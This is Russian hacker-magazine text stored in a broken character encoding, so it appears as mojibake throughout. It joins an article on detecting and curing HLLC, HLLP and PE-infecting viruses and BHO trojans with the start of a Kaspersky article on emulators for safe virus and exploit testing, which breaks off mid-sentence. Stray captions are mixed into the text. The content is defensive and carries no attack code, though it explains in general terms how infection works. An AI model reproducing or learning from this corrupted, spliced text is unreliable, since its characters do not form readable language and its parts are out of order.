ÅÃÎ ÂÅËÈ×ÅÑÒÂÎ ÂÈÐÓÑ
Âèðóñ � ýòî ïðîãðàììà, êîòîðàÿ ðàçìíîæàåòñÿ áåç âå-

äîìà ïîëüçîâàòåëÿ. Êîíå÷íî, ÿ äàë ñâîåîáðàçíóþ, íåòî÷-
íóþ ôîðìóëèðîâêó, íî íàì ýòîãî äîñòàòî÷íî. Ñóùåñòâóåò
ìíîæåñòâî ìåòîäîâ èíôèöèðîâàíèÿ, îäíàêî âñåõ èõ ìîæ-
íî ðàçäåëèòü íà äâà îñíîâíûõ êëàññà: HLL-ìåòîäû è íèçêî-
óðîâíåâûå ìåòîäû.

HLL îçíà÷àåò «ÿçûêè âûñîêîãî óðîâíÿ» (ó íàñ èõ íàçûâà-
þò «ßÂÓ»). Èç íûíå äåéñòâóþùèõ âèäîâ ýòîé çàðàçû îñòà-
ëèñü HLLC è HLLP. Ïåðâûå ÿâëÿþòñÿ âèðóñàìè-êîìïàíüî-
íàìè, î ÷åì ñâèäåòåëüñòâóåò ëàòèíñêàÿ áóêâà «C», à âòî-
ðûå � ïàðàçèòàìè (ëàòèíñêàÿ «P»). Áûëè êîãäà-òî è HLLO-
âèðóñû, èëè îâåðâðàéòåðû, íî èç-çà ñâîåãî àëãîðèòìà
ðàçìíîæåíèÿ îíè ñòàëè ìóçåéíûìè ýêñïîíàòàìè.

Ïàðó ñëîâ î HLLC-âèðóñàõ. Ðàçìíîæàþòñÿ îíè î÷åíü
ïðîñòî: íàõîäÿò ôàéë-æåðòâó, ïåðåèìåíîâûâàþò åå, êîïè-
ðóþò ñåáÿ â òîò æå êàòàëîã ïîä èìåíåì æåðòâû è ïðè ïîëó-
÷åíèè óïðàâëåíèÿ äåëàþò âñå âûøåïåðå÷èñëåííîå ïëþñ
çàïóñêàþò ñâîåãî íîñèòåëÿ. Íàïðèìåð, åñëè ó íàñ áûë
ôàéë calc.exe, êîìïàíüîí ïåðåèìåíîâûâàåò åãî â
vir_calc.exe, à ñàì ñòàíîâèòñÿ calc.exe. Òåïåðü, êîãäà þçåð
êëèêàåò ïî ÿðëû÷êó êàëüêóëÿòîðà â ãëàâíîì ìåíþ, ñíà÷àëà
ãðóçèòñÿ âèðóñ, çàðàæàåò íîâûé ôàéë è ïåðåäàåò óïðàâëå-
íèå ðåàëüíîé ïðîãðàììå, ÷òîáû íå âûçûâàòü ïîäîçðåíèé.
Ïîñòàâèòü äèàãíîç î÷åíü ïðîñòî � â ïàïêå áóäåò â äâà ðàçà
áîëüøå exe�øíèêîâ. Íî çâåðåê ìîæåò èñêóñíî ìàñêèðîâàòü-
ñÿ, äåëàÿ æåðòâû ñêðûòûå è ïðèñâàèâàÿ èì äðóãèå ðàñøè-
ðåíèÿ, ÷òîáû îòñðî÷èòü ñâîå îáíàðóæåíèå. Â ëþáîì ñëó÷àå,
ïîíÿòü, ÷òî ñèñòåìà àòàêîâàíà, íå ñîñòàâèò áîëüøîãî òðóäà.
Òîãäà ñëåäóåò óäàëèòü âñåõ êîìïàíüîíîâ è âîññòàíîâèòü
îðèãèíàëüíûå èìåíà.

HLLP-âèðóñû äåéñòâóþò íå òàê ïðÿìîëèíåéíî. Ïàðàçèò íà-
õîäèò ñåáå æåðòâó, êîïèðóåò ïåðâûå åå N áàéò â êîíåö (N
ðàâíî ðàçìåðó âèðóñà), à çàòåì ïèøåò â íà÷àëî ñâîå òåëî.
Ïîëó÷àÿ óïðàâëåíèå, âèðóñ ëå÷èò «çàðàæåííûé» ôàéë, òî
åñòü êîïèðóåò îðèãèíàëüíîå íà÷àëî ïîâåðõ ñâîåãî íîñèòå-
ëÿ è óðåçàåò ôàéë äî ïîëîæåííîé åìó äëèíû. Çàòåì îí åãî
çàïóñêàåò, ïîñëå çàâåðøåíèÿ îïÿòü äåëàÿ åãî «áîëüíûì».

Äëÿ óñëîæíåíèÿ àíàëèçà è ëå÷åíèÿ îðèãèíàëüíûå ÷àñòè
êîäà æåðòâû ìîãóò ïåðåòàñîâûâàòüñÿ, êàê êàðòû, è øèôðî-
âàòüñÿ. Îäíàêî êðèïòîâàíèå áåññìûñëåííî, òàê êàê êëþ÷
ìîæíî ëåãêî îïðåäåëèòü, çíàÿ, ÷òî ïåðâûå äâå áóêâû íà÷à-
ëà ôàéëà - MZ, à ïî àäðåñó 3Ch íàõîäèòñÿ àááðåâèàòóðà
PE-çàãîëîâêà. Ïîýòîìó ýòè è äðóãèå ñèãíàòóðû èçìåíÿþòñÿ

Àíàëèç PE-çàãîëîâêà ïðè ïîìîùè PE Tools
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è òîëüêî ïðè âðåìåííîì ëå÷åíèè âîñ-
ñòàíàâëèâàþòñÿ.

Îáíàðóæåíèå òàêæå íå ñîñòàâëÿåò
òðóäà: ðàçìåð ôàéëà â áîëüøèíñòâå
ñëó÷àåâ çàìåòíî âîçðàñòàåò, èêîíêà
ìîæåò èñ÷åçíóòü èëè èçìåíèòüñÿ.
Äëÿ ïóùåé âåðíîñòè ðåêîìåíäóåòñÿ
ïðîàíàëèçèðîâàòü ïîëÿ çàãîëîâêà è
ñðàâíèòü èõ ñ ðåàëüíûìè çíà÷åíèÿìè.
Äëÿ àíàëèçà çàãîëîâêîâ ÿ èñïîëüçóþ
÷óäåñíóþ óòèëèòó ïîä íàçâàíèåì PE
Tools (www.uinc.ru). Îíà âûâîäèò â
óäîáíîì äëÿ âîñïðèÿòèÿ ôîðìàòå èí-
ôîðìàöèþ èç PE-ïîëåé è ìîæåò ñðàâ-
íèâàòü çàãîëîâêè äâóõ ôàéëîâ, âûâî-
äÿ èõ â âèäå òàáëèöû. Íà ñêðèíøîòå
âèäíî, ÷òî âèðòóàëüíûé ðàçìåð âñåãî
çàãðóæàåìîãî îáðàçà (Size of Image)
ðàâåí 22400h áàéò. Ýòî íîðìàëüíîå
çíà÷åíèå äëÿ ïðîãðàììû îáúåìîì
îêîëî ñîòíè êèëîáàéò (îáû÷íî ýòî
çíà÷åíèå âñåãäà ïðåâûøàåò ôèçè÷åñ-
êèé ðàçìåð ôàéëà), íî åñëè Size of
Image ñòàíîâèòñÿ ìåíüøå âåñà ïðîãè,
òî ýòî, ñêîðåå âñåãî, èíôèöèðîâàí-
íûé ôàéë. Äðóãîé ñïîñîá îñíîâûâà-
åòñÿ òàêæå íà íåñîâïàäåíèè çíà÷åíèé
â çàãîëîâêå ñ ðåàëüíûìè ðàçìåðàìè.
Ïðîñóììèðîâàâ ôèçè÷åñêóþ äëèíó
(Raw Size) âñåõ ñåêöèé è äîáàâèâ ê
ýòîìó êîëè÷åñòâî áàéò, çàíèìàåìûõ
PE-çàãîëîâêîì, ìû ïîëó÷èì îáúåì, êî-
òîðûé åñòü íà ñàìîì äåëå. Êñòàòè, íå
çàáóäü ó÷åñòü ñìåùåíèÿ ñåêöèé (Raw
Offset) è âîçìîæíîå íàëè÷èå îâåðëåÿ
â êîíöå - ýòó âåëè÷èíó òîæå íàäî
ïðèïëþñîâàòü ê ðàíåå ïîëó÷åííîé
öèôðå. Åñëè òû íàéäåøü äâà çàãîëîâ-
êà â ôàéëå, òî ýòî òîæå íè÷åãî õîðî-
øåãî íå ïðåäâåùàåò. Çäåñü ïîäîéäåò
hiew èëè ëþáîé äðóãîé ïîëþáèâøèé-
ñÿ òåáå HEX-ðåäàêòîð. 

Ðàçìåð ïàðàçèòà äîñòèãàåò äåñÿòêîâ
êèëîáàéò, ïîýòîìó åãî àêòèâíîñòü íå
äîëæíà ïðîéòè íåçàìå÷åííîé ó îïûò-
íîãî ïîëüçîâàòåëÿ. Ìîæíî ñðàâíèòü
ôàéë ñ îðèãèíàëîì èëè âîñïîëüçîâàòü-
ñÿ äèñêîâûìè ðåâèçîðàìè òèïà ADinf.

Â ñëó÷àå çàðàæåíèÿ ïðîñòûì âèðó-
ñîì âûëå÷èòü ïðîãðàììû ýëåìåíòàð-
íî. Åñëè âèðóñ íèêàê íå øèôðóåò ïå-

ðåìåùåííîå íà÷àëî æåðòâû è êîïèðó-
åò åãî â êîíåö ôàéëà, òî íàäî âûïîë-
íèòü ñëåäóþùèå äåéñòâèÿ:
1. Íàéòè âòîðîå âõîæäåíèå ñèìâî-

ëîâ MZ (ïåðâûå áóäóò â ñàìîì íà÷àëå
ôàéëà)
2. Ïî ñìåùåíèþ 3Ch îò âòîðîãî MZ

ïðîâåðèòü PE-ñèãíàòóðó
3. Óòî÷íèòü åùå íåñêîëüêî óíèêàëü-

íûõ çíà÷åíèé äëÿ PE-çàãîëîâêà (íàï-
ðèìåð, íàçâàíèÿ ñåêöèé èëè ñî÷åòàíèå
NT Header Size, Object align, File align)
4. Ñêîïèðîâàòü ó÷àñòîê îò MZ äî

êîíöà ôàéëà ïîâåðõ êîäà âèðóñà
5. Îáðåçàòü ôàéë äî åãî íàòóðàëü-

íîãî ðàçìåðà, òî åñòü äî âòîðîãî MZ
Âûïîëíåíèå òðåòüåãî ïóíêòà íå îáÿ-

çàòåëüíî, íî æåëàòåëüíî, ÷òîáû óäîñ-
òîâåðèòüñÿ â òîì, ÷òî òû íàøåë èìåí-
íî PE-çàãîëîâîê. Ðàññêàçûâàòü îá
îñîáåííîñòÿõ âèíäîâîãî ôîðìàòà ÿ
íå áóäó, òàê êàê ýòîìó ìîæíî ïîñâÿ-

Çëî-ïðîã-
ðàììû ìî-
ãóò ðåãèñò-
ðèðîâàòü
ñåáÿ êàê
ñëóæáû, ÷òî
ïðèâîäèò ê
îòñóòñòâèþ
èõ â ñïèñêå
ïðîöåññîâ.

Íåêîòîðûå
âèðóñû íå
èìåþò òåëà,
ïîýòîìó è
èñêàòü â
ôàéëàõ íå-
÷åãî. Â ýòîì
ñëó÷àå íå
íàäî çàáû-
âàòü ïðî
ïàò÷è è ôà-
åðâîë.

Brouser Helper Object (BHO) ÿâëÿåòñÿ ñåðüåçíîé ïðîáëåìîé íà
ñåãîäíÿøíèé äåíü, è ïðîãðàììû, îñíîâàííûå íà äàííîé òåõíîëî-
ãèè, íàçûâàþòñÿ òàêæå òðîÿíöàìè (íàïðèìåð, ëîøàäêà ïîä íàçâà-
íèåì CWS_NS3). Ñèìïòîìîì ÿâëÿåòñÿ ïîñòîÿííîå ïîÿâëåíèå îäíîé
è òîé æå ñòðàíè÷êè ïðè êëèêå ïî ññûëêå. 
Âîò ñïîñîá èçáàâèòüñÿ îò ýòîãî áåñïðåäåëà. Ñïèñîê èäåíòèôèêàòî-
ðîâ, óñòàíîâëåííûõ BHO, íàõîäèòñÿ â ðàçäåëå ðååñòðà
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVe
rsion\explorer\BrowserHelper Objects. Ïîäîçðèòåëüíûå BHO ìîæíî
óäàëèòü èç ñïèñêà, íî òàì ïðèñóòñòâóþò òîëüêî íè÷åãî íå ãîâîðÿ-
ùèå íîìåðà. Äëÿ òîãî ÷òîáû ïîíÿòü, êòî ñêðûâàåòñÿ çà ýòèì ID, íà-
äî ïðîñêàíèòü ðååñòð íà íàëè÷èå ýòîé çàïèñè è âûÿñíèòü, òðîÿí ýòî
èëè íåò. Ïóñòü ó íàñ åñòü ïî âûøåóêàçàííîìó àäðåñó òàêîé èäåíòè-
ôèêàòîð: {A5366673-E8CA-11D3-9CD9-0090271D075B}. Ïðîèçâå-
äÿ ïîèñê, îáíàðóæèì åãî óïîìèíàíèå òàêæå è â ðàçäåëå
HKEY_CLASSES_ROOT\CLSID\ {A5366673-E8CA-11D3-9CD9-
0090271D075B}. Ïðîñìîòðèì âñå ñîäåðæèìîå íàéäåííîãî ðàçäåëà,
÷òîáû îïðåäåëèòü, ê êàêîé ïðîãðàììå îòíîñèòñÿ ýòîò BHO. Ìû îá-
íàðóæèì òàêóþ çàïèñü: HKEY_CLASSES_ ROOT\CLSID\{A5366673-
E8CA-11D3-9CD9-0090271D075B}\InprocServer32 @="C:\Program
Files\Flashget\jccatch.dll". Ïîíÿòíî, ÷òî BHO ïðèíàäëåæèò FlashGet,
íî åñëè ýòî áóäåò DLL íåïîíÿòíîãî ïðîèñõîæäåíèÿ, òî ñìåëî ðóáèì
âñå óïîìèíàíèÿ î äàííîì èäåíòèôèêàòîðå â ðååñòðå. Ìîæíî âîñ-
ïîëüçîâàòüñÿ è ñïåöèàëèçèðîâàííûì ñîôòîì BHODemon
(www.definitivesolutions.com).

BROUSER HELPER OBJECT

*.exe - ÿâíîå ñâèäåòåëüñòâî î íàëè÷èè âèðóñà â ôàéëå

Âîò îí, ëåãåíäàðíûé WinCIH, îäèí èç ëó÷øèõ âèðóñîâ XX âåêà



òèòü öåëóþ êíèãó, íî íà äèñê ìû ïîñ-
òàðàëèñü âûëîæèòü íåñêîëüêî ìàíóà-
ëîâ íà ýòó òåìó. Êàê òû çàìåòèë, ýòî
áûë ñàìûé ïðîñòîé âàðèàíò, íó à áî-
ëåå ñëîæíûå âèðóñû íàäî îñíîâà-
òåëüíî èçó÷àòü, ÷òîáû íå èñêàëå÷èòü
.åõå�øíèêè. Ïóòü äëÿ òåõ, êòî íå ëþáèò
òðóäíîñòåé, - ýòî îòîñëàòü ïàðàçèòà â
àíòèâèðóñíóþ ëàáîðàòîðèþ.

Â çàêëþ÷åíèå õî÷ó ðàññêàçàòü î íèç-
êîóðîâíåâûõ âèðóñàõ. Âñå îíè ðàñïðî-
ñòðàíÿþòñÿ, ìîäèôèöèðóÿ êðèòè÷íûå
ïîëÿ PE-çàãîëîâêà äëÿ èíúåêöèè ñâîå-
ãî êîäà æåðòâå. Ìåòîäîâ èíôèöèðîâà-
íèÿ î÷åíü ìíîãî, âèðóñû ìîãóò ïðÿ-
òàòüñÿ â ïðîñòðàíñòâå ìåæäó çàãîëîâ-
êîì è ïåðâîé ñåêöèåé, ðàâíîìåðíî
ðàñïðåäåëÿòüñÿ â ïóñòîòàõ ìåæäó ñåê-
öèÿìè, ìîãóò ñîçäàâàòü ñåêöèþ â ñà-
ìîì íà÷àëå èëè â êîíöå ôàéëà è ò.ä.
Ïîäàâëÿþùåå áîëüøèíñòâî ñîâðåìåí-
íûõ âèðóñîâ ðàñøèðÿþò ïîñëåäíþþ
ñåêöèþ è ëåçóò òóäà. Òàêèå ýêçåìïëÿ-
ðû âûäàþò ñåáÿ ðÿäîì ïðèçíàêîâ.

Ñàìûì ÿðêèì ñâèäåòåëüñòâîì áîëåç-
íè ÿâëÿåòñÿ íåñòàíäàðòíàÿ òî÷êà âõî-
äà. Â íàøåì ñëó÷àå îíà áóäåò óêàçû-
âàòü ïî÷òè íà ñàìûé êîíåö ïîñëåäíåé
ñåêöèè (èìåííî òàì æèâóò 90% âèðó-
ñîâ). Îêîí÷àòåëüíûé äèàãíîç ìîæíî
ïîñòàâèòü, åñëè èìååòñÿ è ðàçðåøåíèå
íà çàïèñü â ýòî ìåñòî, îäíàêî VX-êîäå-
ðû ñìåêíóëè, ÷òî ýòî äåëî ñëèøêîì
îïàñíîå, è òåïåðü îñòàâëÿþò àäðåñ
Entry point â ïîêîå, âñòàâëÿÿ, îäíàêî,
òóäà äæàìï íà íåõîðîøèé êîä. Ýòî è
åñòü âòîðàÿ ïîäîçðèòåëüíàÿ îñîáåí-
íîñòü. Êñòàòè, ïåðåõîä ìîæåò áûòü ñîâ-
ñåì íå íà ïîñëåäíèå áàéòû ôàéëà, íî è
ïî÷òè â ñàìîå íà÷àëî, ïîñëå òàáëèöû
îáúåêòîâ, â ñëó÷àå ñ çàïèñüþ ìåæäó
çàãîëîâêîì è ñåêöèÿìè. Ìíîãèå îñòàâ-
ëÿþò àâòîãðàôû â íåèñïîëüçóåìûõ ïî-
ëÿõ PE - ÷òî-òî òèïà �I_hate_world� èëè
�die1.0�. Íàâîäèò íà ðàçìûøëåíèÿ íåñ-
òàíäàðòíûé àäðåñ çàãðóçêè ïðîãðàììû.
Ïîëèìîðôèêè ìîãóò âñòàâëÿòü êó÷ó
ìóñîðà è íè÷åãî íå äåëàþùèå ïîñëå-
äîâàòåëüíîñòè êîìàíä. Åñëè òû âè-

äèøü â êîäå, íàïèñàííîì íà àñìå, push
eax pop eax, òî ýòî ÿâíî êòî-òî øèôðó-
åòñÿ. Õî÷ó çàìåòèòü, ÷òî ïîäîáíîå ÿâ-
ëåíèå äëÿ Delphi ñòàíäàðòíî. Íó è, êî-
íå÷íî, íå ìîãó îáîéòè ñòîðîíîé íåçà-
øèôðîâàííûå ñòðîêè. Íàëè÷èå â ôàé-
ëå �*.exe�, �virus� è òîìó ïîäîáíûõ ïîñ-
ëåäîâàòåëüíîñòåé êðàñíîðå÷èâî ãîâî-
ðèò î íàìåðåíèÿõ ýòîé ïðîãðàììû. Âè-
ðóñû îáû÷íî èùóò àäðåñà íóæíûõ èì
API-ôóíêöèé è äåëàþò ýòî ïî èõ èìåíè
� â èòîãå, èññëåäîâàòåëü ìîæåò âûÿ-
âèòü íàëè÷èå â íåïîëîæåííûõ ìåñòàõ
ñòðîê CreateFileA, WriteFile, FindFileA,
GetProcAddress è ò.ä. Íåïîëîæåííûå
ìåñòà - ýòî âñå ìåñòà, êðîìå äèðåêòî-
ðèè èìïîðòà. Ðàçìåð ôàéëà ïðè çàðà-
æåíèè ìîæåò íå èçìåíÿòüñÿ, åñëè âè-
ðóñ ðàñêèäûâàåò ñåáÿ ïî ïóñòûì ìåñ-
òàì. Äëÿ àíàëèçà çàãîëîâêà ïðåêðàñíî
ïîäîéäåò âñå òîò æå PE Tools. Òå, êòî
çíàåò âèíäîâûé ñòàíäàðò èñïîëíèìûõ
ôàéëîâ, ñìîãóò èçâëå÷ü ìíîãî èíôîð-
ìàöèè î âèðóñå, åñëè îí òàì åñòü. Íî
ëó÷øèì ñïîñîáîì îïðåäåëåíèÿ çàðàçû
ÿâëÿåòñÿ ñîïîñòàâëåíèå îðèãèíàëà ñ
âîçìîæíîé æåðòâîé.

Ëå÷åíèå ýòîãî âèäà âèðóñîâ â îáùåì
ñëó÷àå ñâîäèòñÿ ê óäàëåíèþ ïëîõîãî
êîäà è èñïðàâëåíèþ çíà÷åíèé çàãîëîâ-
êà. Óíèâåðñàëüíûõ àëãîðèòìîâ, îäíàêî,
íå ñóùåñòâóåò, ïîñêîëüêó íå ñóùåñòâó-
åò è óíèâåðñàëüíûõ àëãîðèòìîâ çàðà-
æåíèÿ :). Âèðóñû ìîãóò âñÿ÷åñêè ñîïðî-
òèâëÿòüñÿ ñâîåìó èçãíàíèþ èç íîñèòå-
ëÿ, íàïðèìåð, øèôðîâàòü íåêîòîðûå
åãî ó÷àñòêè, äëÿ òîãî ÷òîáû æåðòâà
«óìåðëà» ïîñëå èñöåëåíèÿ. Åäèíñòâåí-
íûé ïóòü, äàþùèé âåðíûé ìåòîä âðà÷å-
âàíèÿ, - ýòî èçó÷åíèå àëãîðèòìà âèðóñà.

ÏÎÑËÅÄÍÅÅ ÑËÎÂÎ
Ê ñîæàëåíèþ, îáúåìà ñòàòüè êàòà-

ñòðîôè÷åñêè íå õâàòàåò äëÿ ñòîëü
ñåðüåçíîé è îáøèðíîé òåìû. Äàì òå-
áå îäèí ñîâåò: âèðóñîâ ïóãàòüñÿ íå
íàäî - èõ íàäî èçó÷àòü. Åñëè òû óçíà-
åøü î íèõ âñå, òî è ñèñòåìà áóäåò àá-
ñîëþòíî öåëà. E

Èìåííî ñþäà - ìåæäó PE-çàãîëîâêîì è íà÷àëîì ñåêöèé - ìîæåò âëåçòü âèðóñ

Ðàçìåð ôàéëà ïðè çàðàæåíèè ìîæåò íå
èçìåíÿòüñÿ, åñëè âèðóñ ðàñêèäûâàåò ñåáÿ 

ïî ïóñòûì ìåñòàì.



Êðèñ Êàñïåðñêè àkà ìûùúõ

Í åñêîëüêî ëåò íàçàä îñíîâíûì îðóæèåì õàêåðà áûëè äèçàññåìáëåð è îòëàä÷èê. Òåïåðü ê íèì äîáàâèëñÿ åùå è
ýìóëÿòîð, îòêðûâàþùèé ïåðåä êîäîêîïàòåëÿìè ïîèñòèíå áåçãðàíè÷íûå âîçìîæíîñòè.

ÈÍÑÒÐÓÌÅÍÒÀÐÈÉ
ÕÀÊÅÐÀ
ÑÐÀÂÍÈÒÅËÜÍÛÉ ÀÍÀËÈÇ ÝÌÓËßÒÎÐÎÂ

þáàÿ îïåðàöèîííàÿ
ñèñòåìà èìååò ñâîè
îñîáåííîñòè. Ïîâåäå-
íèå ïðîãðàììû, çàïó-
ùåííîé ïîä Windows

9x, ìîæåò ñóùåñòâåííûì îáðàçîì îò-
ëè÷àòüñÿ îò åå ïîâåäåíèÿ ïîä
Windows NT. Çîîïàðê *nix-ñèñòåì è ãå-
íåòè÷åñêè ìóòèðîâàííûõ êëîíîâ ëó÷-
øå âîîáùå íå âñïîìèíàòü :). Òîìó,
êòî çàíèìàåòñÿ ñåòåâîé áåçîïàñ-
íîñòüþ, íåîáõîäèìî èìåòü, ïî ìåíü-
øåé ìåðå, òðè ñèñòåìû: Windows NT,
Linux è FreeBSD, õîòÿ è äðóãèå ôëàã-
ìàíû ðûíêà íå ïîìåøàþò. Ìíîãèå
óÿçâèìîñòè (â ÷àñòíîñòè, îøèáêè ïå-
ðåïîëíåíèÿ) ïðîÿâëÿþòñÿ òîëüêî íà
ñòðîãî îïðåäåëåííûõ âåðñèÿõ îñè è
îòñóòñòâóþò íà âñåõ îñòàëüíûõ. À ðàç
òàê, íàïèñàíèåì è îòëàäêîé ýêñïëîè-
òà àáû íà ÷åì íå çàéìåøüñÿ. Íî ïîñ-
òîÿííî ïåðåñòàâëÿòü ñâîþ ðàáî÷óþ
ÎÑ � ÷óäîâèùíàÿ ïîòåðÿ âðåìåíè è
ðèñê ïîòåðè äàííûõ! Ê òîìó æå, crash-
òåñòû íà ïåðåïîëíåíèå, çàêàí÷èâàþ-
ùèåñÿ ñáðîñîì äàìïà ÿäðà, � õîðî-
øèé ñïîñîá ïðåâðàòèòü ôàéëîâóþ
ñèñòåìó â ìåøàíèíó. Êîíå÷íî, ïîòå-
ðÿííûå äàííûå ìîæíî ïîëíîñòüþ
èëè ÷àñòè÷íî âîññòàíîâèòü, íî íóæíî
èìåòü çà ïëå÷àìè ãèãàíòñêèé îïûò
áîðüáû ñ ðàçðóøåíèÿìè. Âîò è ïðèõî-
äèòñÿ çàáëàãîâðåìåííî ïîäêëþ÷àòü
îòäåëüíûé âèí÷åñòåð è çâåðñêè íàä
íèì èçäåâàòüñÿ :), ïîãðóæàÿ ôàéëî-
âóþ ñèñòåìó â íåáûòèå è âîçâðàùàÿ
åå ê æèçíè. Ýêñïåðèìåíòû ñ âèðóñàìè
è ýêñïëîèòàìè òàêæå ñëåäóåò ïðîâî-
äèòü íà îòäåëüíîé, ïîëíîñòüþ èçîëè-
ðîâàííîé îò âíåøíåãî ìèðà ìàøèíå,
ïîñêîëüêó ñèñòåìà ðàçãðàíè÷åíèÿ
äîñòóïà, âñòðîåííàÿ â Windows NT è
*nix-ñèñòåìû, äàëåêî íå áåçóïðå÷íà è
ìàëåéøàÿ íåáðåæíîñòü, äîïóùåííàÿ
èññëåäîâàòåëåì, ìîæåò îáåðíóòüñÿ
òîòàëüíûì ðàçðóøåíèåì.

Òðàäèöèîííî ýòè çàäà÷è ðåøàëèñü
ïóòåì ïðèîáðåòåíèÿ íåñêîëüêèõ
êîìïüþòåðîâ èëè, íà õóäîé êîíåö,
ìíîæåñòâà æåñòêèõ äèñêîâ, ïîïåðå-
ìåííî ïîäêëþ÷àåìûõ ê îäíîé ìàøè-
íå. Íî ýòî äîðîãî, íåóäîáíî è íåýñòå-
òè÷íî. Ê òîìó æå, æåñòêèå äèñêè äî-
âîëüíî ñêåïòè÷åñêè îòíîñÿòñÿ ê ïåðñ-

ïåêòèâå êî÷åâîé æèçíè, ïîêðûâàÿñü
"áýäàìè" ïðè êàæäîì óäàðå :).

ÑÏÀÑÅÍÈÅ - Â ÝÌÓËßÒÎÐÀÕ
Òåïåðü ýòîò êîøìàð ìàëî-ïîìà-

ëó îòõîäèò â ïðîøëîå. Ìîùü ñîâðå-
ìåííûõ ïðîöåññîðîâ ïîçâîëÿåò ýìó-
ëèðîâàòü ïåðñîíàëüíûé êîìïüþòåð
öåëèêîì, âûïîëíÿÿ íà íåì ïðîãðàì-
ìû â ðåàëüíîì âðåìåíè è ñ ïðèåìëå-
ìîé ñêîðîñòüþ. Ýìóëÿòîðû ïëîäÿò-
ñÿ, êàê åæèêè ïîñëå äîæäÿ. VMWare,
Virtual PC, Bochs è DOS-Box� Êàêîé
âûáðàòü? Áîëüøèíñòâî ïóáëèêàöèé,
ïîñâÿùåííûõ ýìóëÿòîðàì, îðèåíòè-
ðîâàíî íà ãåéìåðîâ è ñèñòåìíûõ àä-
ìèíèñòðàòîðîâ. Ïåðâûì âàæíà ñêî-
ðîñòü è êà÷åñòâåííûé çâóê, âòîðûì �
íàëè÷èå ìåõàíèçìîâ âçàèìîäåé-
ñòâèÿ ìåæäó âèðòóàëüíûìè ìàøèíà-
ìè. Õàêåðàì æå äî ýòîãî âñåãî äåëà
íåò. Ãëàâíîå, ÷òîáû ðàáîòàë Àéñ è
âñòðîåííûé (build-in, internal, inte-
grated) îòëàä÷èê. 

ÌÈÍÈÌÀËÜÍÛÅ ÒÐÅÁÎÂÀÍÈß
Áîëüøèíñòâî ýìóëÿòîðîâ ïðåäú-

ÿâëÿþò âåñüìà óìåðåííûå òðåáîâà-
íèÿ ê àïïàðàòóðå. Äëÿ êîìôîðòíîé
ðàáîòû ñ Windows 2000 è FreeBSD
4.5 ïðîöåññîðà Pentium-III 733 MHz
áóäåò âïîëíå äîñòàòî÷íî (â ÷àñòíîñ-
òè, VMWare ïðåâðàùàåò åãî â

Pentium III 336 MHz, à Virtual PC - â
Pentium III 187 MHz).

Òðåáîâàíèÿ ê ïàìÿòè áîëåå æåñòêèå.
Íåîáõîäèìî èìåòü ìèíèìóì 128
Ìáàéò äëÿ îñíîâíîé îïåðàöèîííîé
ñèñòåìû (íàçûâàåìîé "õîçÿéêîé", îò
«host») è ïî 128�256 Ìáàéò äëÿ êàæ-
äîé èç îäíîâðåìåííî çàïóùåííûõ
âèðòóàëüíûõ ìàøèí ("ãîñòåé"). Åñòå-
ñòâåííî, êîëè÷åñòâî ïîòðåáëÿåìîé
ïàìÿòè îïðåäåëÿåòñÿ òèïîì ýìóëèðóå-
ìîé îïåðàöèîííîé ñèñòåìû. Òàê, åñëè
ýòî ïðîñòóøêà MS-DOS, òî äëÿ íåå è 4
Ìáàéò âïîëíå õâàòèò. Íà 256 Ìáàéò
óæå ìîæíî ñíîñíî ýìóëèðîâàòü
Windows 2000/XP/2003, çàïóùåííîé
ïîâåðõ Win2k èëè àíàëîãè÷íîé îïåðà-
öèîííîé ñèñòåìû.

Îáúåì ôèçè÷åñêîãî æåñòêîãî äèñêà
â îáùåì-òî íåêðèòè÷åí. Âèðòóàëüíûå
ìàøèíû ñîçäàþòñÿ îòíþäü íå äëÿ íà-
êîïëåíèÿ äàííûõ è çà ðåäêèì èñêëþ-
÷åíèÿì íå ñîäåðæàò íè÷åãî, êðîìå
îïåðàöèîííîé ñèñòåìû â òèïè÷íîì
âàðèàíòå ïîñòàâêè è äæåíòëüìåíñêî-
ãî íàáîðà ñîïóòñòâóþùèõ åé ïðèëî-
æåíèé, ÷òî â ñîâîêóïíîñòè îòíèìàåò
íå áîëåå ãèãàáàéòà äèñêîâîãî ïðîñò-
ðàíñòâà. Ïðè÷åì íè îäèí èç èçâåñò-
íûõ ìíå ýìóëÿòîðîâ íå òðåáóåò íåïîñ-
ðåäñòâåííîãî äîñòóïà ê ôèçè÷åñêîìó
æåñòêîìó äèñêó. Âìåñòî ýòîãî îáðàç
âèðòóàëüíîãî âèí÷åñòåðà ðàçìåùàåò-
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ñÿ â îáûêíîâåííîì ôàéëå, ïîëíîñòüþ
ïîä÷èíÿþùåìñÿ õîçÿéñêîé îïåðàöè-
îííîé ñèñòåìå. 

Âèðòóàëüíûå äèñêè áûâàþò, ïî ìåíü-
øåé ìåðå, äâóõ òèïîâ: ôèêñèðîâàííûå
è äèíàìè÷åñêèå. Ïðè ñîçäàíèè ôèêñè-
ðîâàííîãî äèñêà ýìóëÿòîð ñðàçó æå
"ðàñòÿãèâàåò" ôàéë-îáðàç íà âåñü òðå-
áóåìûé îáúåì, äàæå åñëè òîò íå ñî-
äåðæèò íèêàêîé ïîëåçíîé èíôîðìà-
öèè. Äèíàìè÷åñêèå äèñêè, íàïðîòèâ,
õðàíÿò â îáðàçå ëèøü ðåàëüíî çàäåé-
ñòâîâàííûå âèðòóàëüíûå ñåêòîðà, óâå-
ëè÷èâàÿ îáúåì îáðàçà ïî ìåðå åãî çà-
ïîëíåíèÿ àêòóàëüíûìè äàííûìè.
Âìåñòî òîãî ÷òîáû ïîðîâíó äðîáèòü
ñâîé ôèçè÷åñêèé æåñòêèé äèñê ìåæäó
âèðòóàëüíûìè ìàøèíàìè, ìîæíî âû-
äåëèòü êàæäîé èç íèõ ïðàêòè÷åñêè âñå
ñâîáîäíîå ôèçè÷åñêîå ïðîñòðàíñòâî.
Íî ýòî êàæóùàÿñÿ ïðîñòîòà. Ïðîèçâî-
äèòåëüíîñòü äèíàìè÷åñêèõ äèñêîâ
íàìíîãî íèæå, ÷åì ôèêñèðîâàííûõ!
Òàêæå îíè ïîäâåðæåíû âíóòðåííåé
ôðàãìåíòàöèè (íå ïóòàòü ñ ôðàãìåíòà-
öèåé ôàéëà-îáðàçà è ôðàãìåíòàöèåé
ýìóëèðóåìîé ôàéëîâîé ñèñòåìû). È

õîòÿ íåêîòîðûå èç ýìóëÿòîðîâ, â ÷àñò-
íîñòè VMWare, ñîäåðæàò âñòðîåííûå
äåôðàãìåíòàòîðû, ýòî íå ðåøàåò
ïðîáëåìû. Ê òîìó æå, ôîðìàò äèíàìè-
